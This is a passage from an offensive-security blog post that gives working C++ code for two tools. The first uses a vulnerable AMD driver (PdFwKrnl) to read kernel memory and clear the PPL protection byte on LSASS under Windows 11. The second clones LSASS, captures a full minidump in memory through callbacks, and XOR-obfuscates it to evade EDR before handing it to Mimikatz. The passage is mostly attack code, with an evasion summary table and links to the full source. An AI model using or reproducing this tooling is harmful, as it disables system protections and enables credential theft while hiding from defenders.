    <span class="k">if</span> <span class="p">(</span><span class="n">hDriver</span> <span class="o">==</span> <span class="n">INVALID_HANDLE_VALUE</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"[-] Failed to open handle to PdFwKrnl. Error: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[+] Connected to AMD PDFW Driver."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</code></pre></div></div>

<p>We’re close now, basically at the home stretch!  😸  We just need to locate the kernel base <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code> and the <strong>EPROCESS</strong> address.  Then, we need cycle through all the processes and locate <strong>LSASS</strong>!</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// Get Kernel Base</span>
 <span class="n">ULONG64</span> <span class="n">ntosBase</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
 <span class="n">LPVOID</span> <span class="n">drivers</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span>
 <span class="n">DWORD</span> <span class="n">cb</span><span class="p">;</span>
 <span class="k">if</span> <span class="p">(</span><span class="n">EnumDeviceDrivers</span><span class="p">(</span><span class="n">drivers</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">drivers</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">cb</span><span class="p">))</span> <span class="n">ntosBase</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONG64</span><span class="p">)</span><span class="n">drivers</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
 <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[*] ntoskrnl.exe Base: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">ntosBase</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

 <span class="n">ULONG64</span> <span class="n">systemEproc</span> <span class="o">=</span> <span class="n">GetSystemEproc</span><span class="p">(</span><span class="n">ntosBase</span><span class="p">);</span>
 <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">systemEproc</span><span class="p">)</span> <span class="p">{</span>
     <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"[-] Failed to read System EPROCESS. Communication failed."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
     <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
 <span class="p">}</span>
 <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[+] System EPROCESS: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">systemEproc</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

 <span class="c1">// Iterate Process List</span>
 <span class="n">DWORD64</span> <span class="n">listHead</span> <span class="o">=</span> <span class="n">systemEproc</span> <span class="o">+</span> <span class="n">Offsets</span><span class="p">.</span><span class="n">ActiveProcessLinksOffset</span><span class="p">;</span>
 <span class="n">DWORD64</span> <span class="n">currentFlink</span> <span class="o">=</span> <span class="n">ReadMemoryDWORD64</span><span class="p">(</span><span class="n">listHead</span><span class="p">);</span>
 <span class="kt">bool</span> <span class="n">found</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>

 <span class="k">while</span> <span class="p">(</span><span class="n">currentFlink</span> <span class="o">!=</span> <span class="n">listHead</span> <span class="o">&amp;&amp;</span> <span class="n">currentFlink</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
     <span class="n">DWORD64</span> <span class="n">currentEproc</span> <span class="o">=</span> <span class="n">currentFlink</span> <span class="o">-</span> <span class="n">Offsets</span><span class="p">.</span><span class="n">ActiveProcessLinksOffset</span><span class="p">;</span>
     <span class="n">DWORD64</span> <span class="n">pid</span> <span class="o">=</span> <span class="n">ReadMemoryDWORD64</span><span class="p">(</span><span class="n">currentEproc</span> <span class="o">+</span> <span class="n">Offsets</span><span class="p">.</span><span class="n">UniqueProcessIdOffset</span><span class="p">);</span>

     <span class="k">if</span> <span class="p">(</span><span class="n">pid</span> <span class="o">==</span> <span class="n">targetPid</span><span class="p">)</span> <span class="p">{</span>
         <span class="kt">char</span> <span class="n">name</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
         <span class="n">BYTE</span> <span class="n">prot</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
         <span class="n">Amd_ReadMemory</span><span class="p">(</span><span class="n">currentEproc</span> <span class="o">+</span> <span class="n">Offsets</span><span class="p">.</span><span class="n">ImageFileNameOffset</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="mi">15</span><span class="p">);</span>
         <span class="n">Amd_ReadMemory</span><span class="p">(</span><span class="n">currentEproc</span> <span class="o">+</span> <span class="n">Offsets</span><span class="p">.</span><span class="n">ProtectionOffset</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">prot</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>

         <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[+] Found Target: "</span> <span class="o">&lt;&lt;</span> <span class="n">name</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</code></pre></div></div>

<p>Lastly, we output the current protection level for LSASS and clear the protection to remove the PPL protective barrier:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>            <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[*] Current Protection: 0x"</span> <span class="o">&lt;&lt;</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">prot</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

            <span class="c1">// ACTION: Clear Protection</span>
            <span class="n">BYTE</span> <span class="n">zero</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">Amd_WriteMemory</span><span class="p">(</span><span class="n">currentEproc</span> <span class="o">+</span> <span class="n">Offsets</span><span class="p">.</span><span class="n">ProtectionOffset</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">zero</span><span class="p">,</span> <span class="mi">1</span><span class="p">))</span> <span class="p">{</span>
                <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[!!!] SUCCESS: Protection byte cleared."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="p">}</span>
            <span class="n">found</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="n">currentFlink</span> <span class="o">=</span> <span class="n">ReadMemoryDWORD64</span><span class="p">(</span><span class="n">currentEproc</span> <span class="o">+</span> <span class="n">Offsets</span><span class="p">.</span><span class="n">ActiveProcessLinksOffset</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">found</span><span class="p">)</span> <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[-] PID not found."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hDriver</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>That my friends, is the completed code for our BYOVD PPL removal on a modern Windows 11 25h2 machine with all security features enabled that are inherent to Windows by default.</p>

<p><strong>Full source code here:</strong> <a href="https://github.com/g3tsyst3m/CodefromBlog/blob/main/2026-5-29-BYOVD%20and%20Looting%20LSASS%20in%20the%20Modern%20EDR%20Era/byovd_sample2.cpp">Source Code in Full</a></p>

<h2 id="code-demo-for-disabling-ppl-protection-in-lsass">Code demo for Disabling PPL protection in LSASS</h2>

<p>Let’s see it in action!</p>

<p>Notice first how LSASS is currently protected:</p>

<p><img width="1759" height="37" alt="image" src="https://github.com/user-attachments/assets/96f620a2-e30c-48b2-994c-217c976c747e" /></p>

<p><strong>Now we run our code:</strong></p>

<p><img width="645" height="174" alt="image" src="https://github.com/user-attachments/assets/1f269199-1736-4b98-93b4-7e17ba3717c5" /></p>

<p>Close out and go back in to System Informer:</p>

<p><img width="968" height="633" alt="image" src="https://github.com/user-attachments/assets/08c30d16-4055-4999-bd13-50a926eea679" /></p>

<p>We’re ready to proceed with Part 2 of this post - Dumping LSASS!</p>

<h1 id="process-cloning-and-in-memory-minidump-interception-using-callbacks-and-xor-encryption">Process Cloning and In-Memory Minidump Interception using Callbacks and XOR Encryption</h1>

<p>Alright, let’s break this tool down piece by piece. This is a memory dumper that combines a few evasion tricks to fly under the radar of most EDR solutions:</p>

<ul>
  <li>Process cloning</li>
  <li>Threading to prevent the machine locking up during the dump (this happens to me more often that I’d like to admit!) 😸</li>
  <li>In-memory Minidump interception using NUL file handles and Callbacks to prevent writing in the clear</li>
  <li>XOR obfuscation applied to the final <code class="language-plaintext highlighter-rouge">.DMP</code> file</li>
</ul>

<p>All before anything ever touches disk. Let’s get into it.</p>

<hr />

<h2 id="headers-globals-and-the-xor-key">Headers, Globals, and the XOR Key</h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;winternl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;DbgHelp.h&gt;</span><span class="cp">
</span><span class="p">...</span>
<span class="cp">#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "Dbghelp.lib")
</span>
<span class="cp">#define PS_INHERIT_HANDLES 0x00000004
</span><span class="k">const</span> <span class="kt">char</span> <span class="n">XOR_KEY</span> <span class="o">=</span> <span class="mh">0x55</span><span class="p">;</span>

<span class="n">std</span><span class="o">::</span><span class="n">atomic</span><span class="o">&lt;</span><span class="n">DWORD</span><span class="o">&gt;</span> <span class="n">dumpSize</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="n">LPVOID</span> <span class="n">dumpBuffer</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</code></pre></div></div>

<p>Nothing too wild here on the surface, but a few things worth calling out. We’re pulling in <code class="language-plaintext highlighter-rouge">winternl.h</code> because we need access to undocumented NT internals.  Specifically, <code class="language-plaintext highlighter-rouge">NtCreateProcessEx</code>, which is the core of our cloning trick. <code class="language-plaintext highlighter-rouge">DbgHelp.h</code> gives us <code class="language-plaintext highlighter-rouge">MiniDumpWriteDump</code>, the function that does the actual memory capture.</p>

<p><code class="language-plaintext highlighter-rouge">PS_INHERIT_HANDLES (0x4)</code> is the flag we’ll pass to <code class="language-plaintext highlighter-rouge">NtCreateProcessEx</code> to make the cloned process inherit handles from the parent, which is critical for the clone to function properly.</p>

<p><code class="language-plaintext highlighter-rouge">XOR_KEY = 0x55</code> is our dead-simple obfuscation key.  It’s enough to mangle the MZ header and scramble the dump so signature-based detections on file writes don’t immediately fire. More on that later.</p>

<p><code class="language-plaintext highlighter-rouge">dumpSize</code> is atomic because it’s shared between the callback thread (which increments it) and the main thread (which reads it).  We don’t want a race condition eating our byte count.</p>

<hr />

<h2 id="the-ntcreateprocessex-typedef">The NtCreateProcessEx Typedef</h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="nf">NTSTATUS</span><span class="p">(</span><span class="n">NTAPI</span><span class="o">*</span> <span class="n">NtCreateProcessEx_t</span><span class="p">)(</span>
    <span class="n">OUT</span> <span class="n">PHANDLE</span> <span class="n">ProcessHandle</span><span class="p">,</span>
    <span class="n">IN</span> <span class="n">ACCESS_MASK</span> <span class="n">DesiredAccess</span><span class="p">,</span>
    <span class="n">IN</span> <span class="n">POBJECT_ATTRIBUTES</span> <span class="n">ObjectAttributes</span> <span class="n">OPTIONAL</span><span class="p">,</span>
    <span class="n">IN</span> <span class="n">HANDLE</span> <span class="n">ParentProcess</span><span class="p">,</span>
    <span class="n">IN</span> <span class="n">ULONG</span> <span class="n">Flags</span><span class="p">,</span>
    <span class="p">...</span>
    <span class="p">);</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">NtCreateProcessEx</code> is an an undocumented Windows Native API that lets you create a new process using an <em>existing process as the parent template</em>. Microsoft doesn’t officially expose this in the SDK, so we have to define the function pointer signature ourselves and resolve it at runtime via <code class="language-plaintext highlighter-rouge">GetProcAddress</code> from <code class="language-plaintext highlighter-rouge">ntdll.dll</code>.  Thankfully many other researchers have explored this undocumented NT API and shared their findings so we can better understand them. 😸</p>

<p>This is essentially the heart of the <strong>process cloning</strong> technique. Instead of opening a handle to something sensitive like <code class="language-plaintext highlighter-rouge">lsass.exe</code> and reading its memory directly (which EDRs absolutely watch for), we clone it. The clone is a snapshot of the original process’s address space.  It’s the same memory and same handles, but it’s a new process object. Dumping the <em>clone</em> instead of the original is a classic way to sidestep handle-based detections.</p>

<hr />

<h2 id="getting-sedebugprivilege">Getting SeDebugPrivilege</h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BOOL</span> <span class="nf">EnablePrivilege</span><span class="p">(</span><span class="n">LPCWSTR</span> <span class="n">privilege</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">HANDLE</span> <span class="n">hToken</span><span class="p">;</span>
    <span class="n">TOKEN_PRIVILEGES</span> <span class="n">tp</span><span class="p">;</span>
    <span class="n">LUID</span> <span class="n">luid</span><span class="p">;</span>

    <span class="n">OpenProcessToken</span><span class="p">(</span><span class="n">GetCurrentProcess</span><span class="p">(),</span> <span class="n">TOKEN_ADJUST_PRIVILEGES</span> <span class="o">|</span> <span class="n">TOKEN_QUERY</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">hToken</span><span class="p">);</span>
    <span class="n">LookupPrivilegeValue</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">privilege</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">luid</span><span class="p">);</span>
    <span class="n">tp</span><span class="p">.</span><span class="n">Privileges</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Attributes</span> <span class="o">=</span> <span class="n">SE_PRIVILEGE_ENABLED</span><span class="p">;</span>
    <span class="n">AdjustTokenPrivileges</span><span class="p">(</span><span class="n">hToken</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">tp</span><span class="p">,</span> <span class="p">...);</span>
    <span class="p">...</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Before we can open handles to protected processes or clone them, we need <code class="language-plaintext highlighter-rouge">SeDebugPrivilege</code>. This privilege lets a process read/write the memory of any other process on the system, including protected ones. It’s typically held by admins and SYSTEM.</p>

<p>The flow here is standard:</p>
<ol>
  <li>Open our own process token</li>
  <li>Look up the LUID (locally unique identifier) for the privilege we want</li>
  <li>Set it enabled and call <code class="language-plaintext highlighter-rouge">AdjustTokenPrivileges</code></li>
</ol>

<p>This is a prerequisite step. If we can’t get SeDebug, we bail early.</p>

<hr />

<h2 id="xor-obfuscation">XOR Obfuscation</h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">xor_buffer</span><span class="p">(</span><span class="n">LPVOID</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">size</span><span class="p">,</span> <span class="kt">char</span> <span class="n">key</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">BYTE</span><span class="o">*</span> <span class="n">p</span> <span class="o">=</span> <span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">buffer</span><span class="p">;</span>
    <span class="k">for</span> <span class="p">(</span><span class="n">DWORD</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">size</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">p</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^=</span> <span class="n">key</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Nothing fancy here really, just standard XOR encryption logic.  We walk every byte in the dump buffer and XOR it against <code class="language-plaintext highlighter-rouge">0x55</code>. The reason this matters: a raw minidump starts with the signature <code class="language-plaintext highlighter-rouge">MDMP</code> followed by recognizable structures. EDR products and AV engines scan file writes for these patterns. XOR-ing the buffer before it hits disk scrambles those signatures completely. The first four bytes <code class="language-plaintext highlighter-rouge">4D 44 4D 50</code> become <code class="language-plaintext highlighter-rouge">18 11 18 05</code>, which is totally unrecognizable.</p>

<p>To recover the dump later for analysis in <strong>Mimikatz</strong> or <strong>pypykatz</strong>, you just <strong>XOR</strong> it again with the same key (XOR is its own inverse).</p>

<hr />

<h2 id="the-worker-thread">The Worker Thread</h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">process_and_save_dump</span><span class="p">(</span><span class="n">LPVOID</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">size</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">outPath</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">xor_buffer</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">XOR_KEY</span><span class="p">);</span>

    <span class="n">HANDLE</span> <span class="n">hFile</span> <span class="o">=</span> <span class="n">CreateFileA</span><span class="p">(</span><span class="n">outPath</span><span class="p">,</span> <span class="n">GENERIC_WRITE</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">CREATE_ALWAYS</span><span class="p">,</span> <span class="p">...);</span>
    <span class="n">WriteFile</span><span class="p">(</span><span class="n">hFile</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">bytesWritten</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hFile</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>After the dump lands in RAM, we spin up a worker thread to handle the XOR pass and disk write. This keeps the main thread clean and separates the dumping phase from the obfuscation/exfil phase. The dump lands at <code class="language-plaintext highlighter-rouge">C:\Users\Public\PID_xor.dmp</code>, whic is a world-writable path, no special permissions needed.</p>

<hr />

<h2 id="the-callback-routine-and-intercepting-minidump-writes">The Callback Routine and Intercepting MiniDump Writes</h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BOOL</span> <span class="n">CALLBACK</span> <span class="nf">DumpCallbackRoutine</span><span class="p">(</span><span class="n">PVOID</span> <span class="n">CallbackParam</span><span class="p">,</span> 
    <span class="k">const</span> <span class="n">PMINIDUMP_CALLBACK_INPUT</span> <span class="n">CallbackInput</span><span class="p">,</span> 
    <span class="n">PMINIDUMP_CALLBACK_OUTPUT</span> <span class="n">CallbackOutput</span><span class="p">)</span> <span class="p">{</span>

    <span class="k">switch</span> <span class="p">(</span><span class="n">CallbackInput</span><span class="o">-&gt;</span><span class="n">CallbackType</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">case</span> <span class="n">IoStartCallback</span><span class="p">:</span>
        <span class="n">CallbackOutput</span><span class="o">-&gt;</span><span class="n">Status</span> <span class="o">=</span> <span class="n">S_FALSE</span><span class="p">;</span>
        <span class="k">break</span><span class="p">;</span>
    <span class="k">case</span> <span class="n">IoWriteAllCallback</span><span class="p">:</span>
        <span class="n">source</span> <span class="o">=</span> <span class="n">CallbackInput</span><span class="o">-&gt;</span><span class="n">Io</span><span class="p">.</span><span class="n">Buffer</span><span class="p">;</span>
        <span class="n">destination</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPVOID</span><span class="p">)((</span><span class="n">DWORD_PTR</span><span class="p">)</span><span class="n">dumpBuffer</span> <span class="o">+</span> <span class="n">CallbackInput</span><span class="o">-&gt;</span><span class="n">Io</span><span class="p">.</span><span class="n">Offset</span><span class="p">);</span>
        <span class="n">RtlCopyMemory</span><span class="p">(</span><span class="n">destination</span><span class="p">,</span> <span class="n">source</span><span class="p">,</span> <span class="n">bufferSize</span><span class="p">);</span>
        <span class="n">dumpSize</span><span class="p">.</span><span class="n">fetch_add</span><span class="p">(</span><span class="n">bufferSize</span><span class="p">);</span>
        <span class="k">break</span><span class="p">;</span>
    <span class="k">case</span> <span class="n">IoFinishCallback</span><span class="p">:</span>
        <span class="n">CallbackOutput</span><span class="o">-&gt;</span><span class="n">Status</span> <span class="o">=</span> <span class="n">S_OK</span><span class="p">;</span>
        <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This is one of the slicker tricks in the toolbox. <code class="language-plaintext highlighter-rouge">MiniDumpWriteDump</code> normally writes directly to a file handle you provide. But it also supports a callback interface.  Through that callback, every I/O operation gets routed through our function before it hits disk.</p>

<p>Here’s what each callback type does:</p>

<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">IoStartCallback</code></strong> — fires when the dump begins. We return <code class="language-plaintext highlighter-rouge">S_FALSE</code> to signal “I’ll handle the I/O myself.”</li>
  <li><strong><code class="language-plaintext highlighter-rouge">IoWriteAllCallback</code></strong> — fires for every chunk of data being written. Instead of letting it go to disk, we <code class="language-plaintext highlighter-rouge">RtlCopyMemory</code> it into our own <code class="language-plaintext highlighter-rouge">dumpBuffer</code> at the correct offset. The <code class="language-plaintext highlighter-rouge">dumpSize</code> atomic counter tracks total bytes captured.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">IoFinishCallback</code></strong> — fires when the dump is done. We return <code class="language-plaintext highlighter-rouge">S_OK</code> to signal success.</li>
</ul>

<p>The result: the entire dump lives in <strong>RAM only</strong> until we deliberately write it. This sidesteps file-based write detections entirely during the capture phase. 😏</p>

<hr />

<h2 id="putting-it-all-together">Putting It All Together</h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
    <span class="n">DWORD</span> <span class="n">targetPid</span> <span class="o">=</span> <span class="p">(</span><span class="n">DWORD</span><span class="p">)</span><span class="n">atoi</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
    <span class="n">EnablePrivilege</span><span class="p">(</span><span class="n">SE_DEBUG_NAME</span><span class="p">);</span>

    <span class="c1">// 1. Allocate 200MB heap buffer</span>
    <span class="n">dumpBuffer</span> <span class="o">=</span> <span class="n">HeapAlloc</span><span class="p">(</span><span class="n">GetProcessHeap</span><span class="p">(),</span> <span class="n">HEAP_ZERO_MEMORY</span><span class="p">,</span> <span class="mi">1024</span> <span class="o">*</span> <span class="mi">1024</span> <span class="o">*</span> <span class="mi">200</span><span class="p">);</span>

    <span class="c1">// 2. Clone the target process</span>
    <span class="n">HANDLE</span> <span class="n">hTarget</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">targetPid</span><span class="p">);</span>
    <span class="n">NtCreateProcessEx</span><span class="p">(</span><span class="o">&amp;</span><span class="n">hClone</span><span class="p">,</span> <span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">hTarget</span><span class="p">,</span> <span class="n">PS_INHERIT_HANDLES</span><span class="p">,</span> <span class="p">...);</span>

    <span class="c1">// 3. Open a handle to NUL</span>
    <span class="n">HANDLE</span> <span class="n">hNul</span> <span class="o">=</span> <span class="n">CreateFileA</span><span class="p">(</span><span class="s">"NUL"</span><span class="p">,</span> <span class="n">GENERIC_ALL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">OPEN_EXISTING</span><span class="p">,</span> <span class="p">...);</span>

    <span class="c1">// 4. Dump via callback</span>
    <span class="n">MiniDumpWriteDump</span><span class="p">(</span><span class="n">hClone</span><span class="p">,</span> <span class="n">targetPid</span><span class="p">,</span> <span class="n">hNul</span><span class="p">,</span> <span class="n">MiniDumpWithFullMemory</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">mci</span><span class="p">);</span>

    <span class="c1">// 5. XOR + write in worker thread</span>
    <span class="n">std</span><span class="o">::</span><span class="kr">thread</span> <span class="n">worker</span><span class="p">(</span><span class="n">process_and_save_dump</span><span class="p">,</span> <span class="n">dumpBuffer</span><span class="p">,</span> <span class="n">finalSize</span><span class="p">,</span> <span class="n">outPath</span><span class="p">);</span>
    <span class="n">worker</span><span class="p">.</span><span class="n">join</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The main function orchestrates the whole attack chain:</p>

<p><strong>Step 1 — Buffer allocation.</strong> We pre-allocate 200MB on the heap to receive the dump. This is sized generously to handle a full <code class="language-plaintext highlighter-rouge">lsass</code> dump on most systems.</p>

<p><strong>Step 2 — Process cloning</strong>. We open the target PID with <strong>PROCESS_CREATE_PROCESS</strong> access, then pass that handle to <strong>NtCreateProcessEx</strong> as the parent. The kernel creates a new cloned process object that is a snapshot of the target’s address space. We then dump the clone, not the original <code class="language-plaintext highlighter-rouge">LSASS</code> process. This avoids opening a full read/write handle directly on the sensitive <code class="language-plaintext highlighter-rouge">lsass.exe</code> process (the pattern most EDRs monitor).</p>

<p><strong>Step 3 — The NUL handle trick.</strong> <code class="language-plaintext highlighter-rouge">MiniDumpWriteDump</code> requires a file handle as a parameter. We pass it <code class="language-plaintext highlighter-rouge">NUL</code>, which is Windows’ equivalent of <code class="language-plaintext highlighter-rouge">/dev/null</code>. Since our callback intercepts all writes before they reach the file, nothing actually goes to NUL. But the function needs a valid handle, and NUL is the cleanest placeholder.</p>

<p><strong>Step 4 — Dump triggered via callback.</strong> With <code class="language-plaintext highlighter-rouge">MiniDumpWithFullMemory</code> we capture everything: stack, heap, mapped files. The callback silently redirects every write chunk into our RAM buffer.</p>

<p><strong>Step 5 — Worker thread handles the rest.</strong> Once the dump is in memory, we hand it off to the worker thread to XOR and write to disk. Main thread waits for it to finish, then cleans up all handles and frees the heap buffer.</p>

<hr />

<p>Final source code: <a href="https://github.com/g3tsyst3m/CodefromBlog/blob/main/2026-5-29-BYOVD%20and%20Looting%20LSASS%20in%20the%20Modern%20EDR%20Era/dump_the_goodz_7.cpp">Full Source Code</a></p>

<h2 id="evasion-summary">Evasion Summary</h2>

<p>To recap, this tool chains several techniques together that each address a different detection layer:</p>

<table>
  <thead>
    <tr>
      <th>Technique</th>
      <th>What It Evades</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Process cloning via NtCreateProcessEx</td>
      <td>Handle-based detections on sensitive processes</td>
    </tr>
    <tr>
      <td>MiniDump callback (in-memory dump)</td>
      <td>File-write monitoring during capture</td>
    </tr>
    <tr>
      <td>XOR before disk write</td>
      <td>Signature scanning on dump files</td>
    </tr>
    <tr>
      <td>Writing to NUL device</td>
      <td>File creation events during the dump call</td>
    </tr>
    <tr>
      <td>Worker thread separation</td>
      <td>Keeps dump/write operations isolated</td>
    </tr>
  </tbody>
</table>

<p>No single one of these is a silver bullet, but layered together, they make for a very covert approach to dumping LSASS in the modern era of EDR.</p>

<hr />

<h2 id="code-demo">Code Demo!</h2>

<p><img width="1076" height="185" alt="image" src="https://github.com/user-attachments/assets/f8e61426-1448-4d06-954a-07767e8d3634" /></p>

<p>And the encrypted file:</p>

<p><img width="1638" height="878" alt="image" src="https://github.com/user-attachments/assets/3d730761-4dcf-44bc-b52a-2eab13e94ae4" /></p>

<p>okay, let’s decrypt this thing!</p>

<p><img width="892" height="184" alt="image" src="https://github.com/user-attachments/assets/9fa293e8-f7f6-4d91-a1e5-12a35a3b0837" /></p>

<p><img width="1058" height="732" alt="image" src="https://github.com/user-attachments/assets/99964278-efaa-42ab-b34a-9f86d06bfd2e" /></p>

<p>Want the decrypt code?  Sure, here it is.  Take it! 😸</p>

<blockquote>
  <p><strong>XOR Decrypt code</strong></p>
</blockquote>

